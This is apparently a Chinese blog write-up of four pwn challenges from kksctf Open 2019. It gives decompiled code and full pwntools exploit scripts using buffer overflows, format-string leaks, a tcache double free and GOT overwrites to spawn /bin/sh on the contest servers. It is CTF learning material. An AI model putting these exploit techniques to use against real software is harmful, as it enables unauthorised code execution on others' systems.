【WriteUp】#kksctf Open 2019--Pwn题解

可以看出大家都在期末考试

Baby buffer overflow

Description:

We received new message from kackers. They laugh at us being sure that no one will ever be able to break them and even left a description of what needs to be done. Show them what happens to overly confident people!

nc tasks.open.kksctf.ru 10002

https://drive.google.com/open?id=1xSswzDDa0lhtGZ2zfhkRr_kNHD0pcdIy

@oldwayfarer


Solution:

基础的地址覆盖问题

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

debug = 1
context(log_level="debug", arch="amd64", os="linux")
if debug == 1:
p = process('./baby_bof')
else:
p = remote('tasks.open.kksctf.ru', 10002)

# gdb.attach(p, "b *0x08048616\nc")
pd = '\x00' * 0x104
pd += p32(0x080485F6)
pd += p32(0xCAFEBABE)
pd += p32(0xCAFEBABE)
p.sendlineafter('Enter your name: ', pd)
p.recvuntil('Here it comes: ')
p.interactive()

Flag:

1
kks{0v3rf10w_15_my_1!f3}

Insane pwn

Description:

There supposed to be some uncrackable badass pwn, but, you know, all this festive mood around and i am a kind fellow, so just for this time take easy one instead…let it be our little secret. Happy New Year! :)

nc tasks.open.kksctf.ru 10003

https://drive.google.com/open?id=1FaEc0QH_7zvSDQNgJcVwRf3F1dQptp-d

@oldwayfarer


Solution:

仍旧是基础的地址覆盖问题

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

debug = 1
context(log_level="debug", arch="amd64", os="linux")
if debug == 1:
p = process('./insane_pwn')
else:
p = remote('tasks.open.kksctf.ru', 10003)

# gdb.attach(p, "b *0x08048616\nc")
pd = '\x00' * 0x100 # 这里本地是0x104,远程是0x100
pd += p32(0xCAFEBABE)
p.sendlineafter('Can you lead me to segmentation fault please?\n', pd)
p.recvuntil('Thank you! you can have your flag: ')
p.interactive()

Flag:

1
kks{W0w_th15_w@5_4w350m3!}

Heap-Heap-Hooray!

Description:

Image

P.S. glibc2.27 is the greatest version of glibc!

nc tasks.open.kksctf.ru 10000

lib: https://drive.google.com/open?id=1cpyWT_cRu2szV2u4lpp5ESgMMXUP3IMu
heap: https://drive.google.com/open?id=1Cnx-VBufgdowFXvE7iIPc6mBZRbnZc7W
df: https://drive.google.com/open?id=1TRfyx8-5DZrQ70ah8eKLTCbxFT4vBAWj


Solution:

这题才 7 解,大家肯定是都在复习了

保护这里我没用上 shellcode,emmmm

1
2
3
4
5
6
Arch:     i386-32-little
RELRO: No RELRO
Stack: Canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments

一道格式化字符串漏洞利用题

程序存在 UAF 漏洞,但是限制了申请的堆块大小不能超过 0x80,这就导致了不能 unlink

函数如下:

1.allocate_chunk

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
signed int __cdecl allocate_chunk(_DWORD *a1)
{
signed int result; // eax
int v2; // esi
int v3; // [esp+4h] [ebp-14h]
size_t size; // [esp+8h] [ebp-10h]
unsigned int v5; // [esp+Ch] [ebp-Ch]

v5 = __readgsdword(0x14u);
printf("Enter chunk ID: ");
__isoc99_scanf("%d", &v3);
if ( v3 >= 0 && v3 <= 31 )
{
if ( *a1 & (1 << v3) )
{
printf("Chunk with %d ID is already allocated\n", v3);
result = -1;
}
else
{
printf("Enter chunk size: ");
__isoc99_scanf("%d", &size);
if ( (signed int)size > 0 && (signed int)size <= 128 )
{
*a1 |= 1 << v3;
v2 = v3;
chunks[v2] = (char *)malloc(size);
printf("Your message: ");
while ( getc(stdin) != 10 )
;
fgets(chunks[v3], size, stdin);
puts("Done!");
result = 0;
}
else
{
puts("size must be in range from 1 to 128");
result = -1;
}
}
}
else
{
puts("ID must be in range from 0 to 31");
result = -1;
}
return result;
}

2.delete_chunk

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
signed int __cdecl delete_chunk(_DWORD *a1)
{
signed int result; // eax
int v2; // [esp+4h] [ebp-10h]
unsigned int v3; // [esp+8h] [ebp-Ch]

v3 = __readgsdword(0x14u);
printf("Enter chunk ID: ");
__isoc99_scanf("%d", &v2);
if ( v2 < 0 || v2 > 31 )
{
puts("ID must be in range from 0 to 31");
result = -1;
}
else if ( *a1 & (1 << v2) )
{
*a1 ^= 1 << v2;
free(chunks[v2]);
puts("Done!");
result = 0;
}
else
{
printf("Chunk with %d ID is not allocated\n", v2);
result = -1;
}
return result;
}

3.list_chunks_content

1
2
3
4
5
6
7
8
9
10
11
12
13
int __cdecl list_chunks_content(_DWORD *a1)
{
int result; // eax
signed int i; // [esp+0h] [ebp-Ch]

for ( i = 0; i <= 31; ++i )
{
result = *a1 & (1 << i);
if ( result )
result = printf(chunks[i]);
}
return result;
}

可以看出程序是靠着位运算来判断一个堆是否已经被释放了,主要代码就是*a1 & (1 << i)

假设 1 - 8 号堆都处于使用状态,0 号堆被释放了

在内存里就会存着这样一个二进制数 111111110,转换成 16 进制就是 0x1fe

存着这个数值的地址可以利用格式化字符串修改,其偏移是 6

那么我们一开始利用格式化字符串漏洞泄露出 libc 的基地址,之后再释放一个堆

利用上述的地址把判断堆块释放的地址改成相应的数值,使之前释放的堆的二进制数位上再次变为 1,就可以再次释放相同堆块

然后就是简单的 tcache dup 了,改写 got_free 为 addr_system,再释放一个写有/bin/sh的字符串即可提权

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

debug = 1
# context(log_level="debug", arch="i386", os="linux")
if debug == 1:
p = process('./df')
libc = ELF('/lib/i386-linux-gnu/libc.so.6', checksec=False)
else:
p = remote('tasks.open.kksctf.ru', 10000)
libc = ELF('./libc.so.6', checksec=False)
elf = ELF('./df', checksec=False)
got_free = elf.got['free']


def allocate(allocate_idx, allocate_size, allocate_message):
p.sendlineafter('>', '1')
p.sendlineafter('Enter chunk ID: ', str(allocate_idx))
p.sendlineafter('Enter chunk size: ', str(allocate_size))
p.sendlineafter('Your message: ', allocate_message)
p.sendlineafter('Done!\n', '')


def free(free_idx):
p.sendlineafter('>', '3')
p.sendlineafter('Enter chunk ID: ', str(free_idx))


allocate(0, 0x20, '%13$p')
p.sendlineafter('>', '2')
addr___libc_start_main = int(p.recv(10), 16) - 241
libcbase = addr___libc_start_main - libc.sym['__libc_start_main']
addr_system = libcbase + libc.sym['system']
free(0)
allocate(0, 0x20, p32(got_free))
free(0)
allocate(1, 0x40, '%3d%6$hhn')
p.sendlineafter('>', '2')
free(0)
allocate(2, 0x40, '/bin/sh\x00')
allocate(3, 0x20, p32(got_free))
allocate(4, 0x20, p32(got_free))
allocate(5, 0x20, p32(addr_system))
success('got_free = ' + hex(got_free))
success('addr_system = ' + hex(addr_system))
free(2)
# gdb.attach(p)
p.interactive()

Flag:

1
kks{w311_m4y_b3_in_@_c0upl3_m0r3_pl4c35}

Another ret to libc

Description:

Kackers are hiding some crucial information here. We don’t know what exactly it is, but can you help us to retrive it?

nc tasks.open.kksctf.ru 10001

libc: https://drive.google.com/open?id=1t9G-yAWk0c8eLTlDZ45DstV0UqmrScgS


Solution:

依旧是格式化字符串的漏洞利用

只有 4 人解的原因估计是期末考试、加 libc 网上没版本、加本地调试、加泄露出来的__libc_start_main竟然不是减 247 而是减 249

不过这题本地调试是减去 247,而且远程打通后还容易莫名显示 Segmentation fault,因为这个我放弃了 hn 转用 hhn,但是依旧容易出现这个错误

本地想调试的话需要先输入export LD_PRELOAD='/lib/i386-linux-gnu/libc.so.6'

1.print_user_info

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
int __cdecl print_user_info(int a1)
{
int v1; // eax
int result; // eax
char s; // [esp+0h] [ebp-2Ch]
FILE *stream; // [esp+20h] [ebp-Ch]
int v5; // [esp+24h] [ebp-8h]

printf("Information about user #");
v5 = 0;
while ( v5 <= 7 )
{
v1 = v5++;
printf("%02x", *(a1 + v1 + 0x104));
}
printf(":\nname: %s\n", a1);
printf("age: %d\n", *(a1 + 0x100));
result = strcmp(priveleged, (a1 + 0x104));
if ( !result )
{
stream = fopen("TOTALY_NOTHING_INTERESTING_HERE.txt", "r");
fgets(&s, 32, stream);
result = puts(&s);
}
return result;
}

2.change_user_name

1
2
3
4
5
6
7
8
9
10
11
12
int __cdecl change_user_name(char *s2)
{
char s; // [esp+0h] [ebp-104h]

printf("Enter new name: ");
fgets(&s, 0x100, stdin);
if ( !strcmp(&s, s2) )
return puts("New name can not match with the old one!");
sprintf(s2, &s);
s2[0x100] = 0;
return puts("Your name has been seccessfully changed!");
}

可以看到有很多格式化字符串漏洞,我们这里主要用 change_user_name 进行利用

这两个函数是被主函数调用的,依靠堆里存放的地址来进行调用,所以要记住一会儿进行利用时不要覆盖地址

那么就先泄露 __libc_start_main,然后算出 addr_system 的地址

之后修改 got_strcmp 为 addr_system,依靠 fgets 输入的/bin/sh来进行提权

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

debug = 1
# context(log_level="debug", arch="i386", os="linux")
if debug == 1:
p = process('./r2lc')
libc = ELF('/lib/i386-linux-gnu/libc.so.6', checksec=False)
else:
p = remote('tasks.open.kksctf.ru', 10001)
libc = ELF('./libc.so.6', checksec=False)
elf = ELF('./r2lc', checksec=False)
got_strcmp = elf.got['strcmp']
addr_main = 0x08048964
addr_change_user_name = 0x08048791

p.sendlineafter('Enter your name: ', 'binLep')
p.sendlineafter('Enter your age: ', '4')
p.sendline('')
p.sendlineafter('> ', '2')
p.sendlineafter('Enter new name: ', '%73$p')
p.sendline('')
p.sendlineafter('> ', '1')
p.recvuntil('name: ')
addr___libc_start_main = int(p.recv(10), 16) - 249
libcbase = addr___libc_start_main - libc.sym['__libc_start_main']
addr_system = libcbase + libc.sym['system']
success('addr_system = ' + hex(addr_system))

# gdb.attach(p, "b *0x08048805\nc")
p.sendline('')
p.sendlineafter('> ', '2')
off_1 = (addr_system & 0xff) - 12
off_2 = (addr_system >> 8 & 0xff) - 12
off_3 = (addr_system >> 16 & 0xff) - 12
pd = p32(got_strcmp) # 4
pd += p32(got_strcmp + 1) # 8
pd += p32(got_strcmp + 2) # 12
pd += '%' + str(off_1) + 'd%1$hhn'
pd += '%' + str(0x104 - off_1) + 'd'
pd += p32(addr_change_user_name)
pd += '%' + str(off_2 - 0x08) + 'd%2$hhn'
pd += '%' + str(off_3 - (off_2 + 0x100 & 0xff)) + 'd%3$hhn'
p.sendlineafter('Enter new name: ', pd)
p.sendline('')
p.sendlineafter('> ', '2')
p.sendlineafter('Enter new name: ', '/bin/sh')
p.interactive()

Flag:

1
kks{50_cl053_bu7_inr34ch3b!3}
文章目录
  1. 1. Baby buffer overflow
    1. 1.1. Description:
    2. 1.2. Solution:
    3. 1.3. Flag:
  2. 2. Insane pwn
    1. 2.1. Description:
    2. 2.2. Solution:
    3. 2.3. Flag:
  3. 3. Heap-Heap-Hooray!
    1. 3.1. Description:
    2. 3.2. Solution:
    3. 3.3. Flag:
  4. 4. Another ret to libc
    1. 4.1. Description:
    2. 4.2. Solution:
    3. 4.3. Flag:
|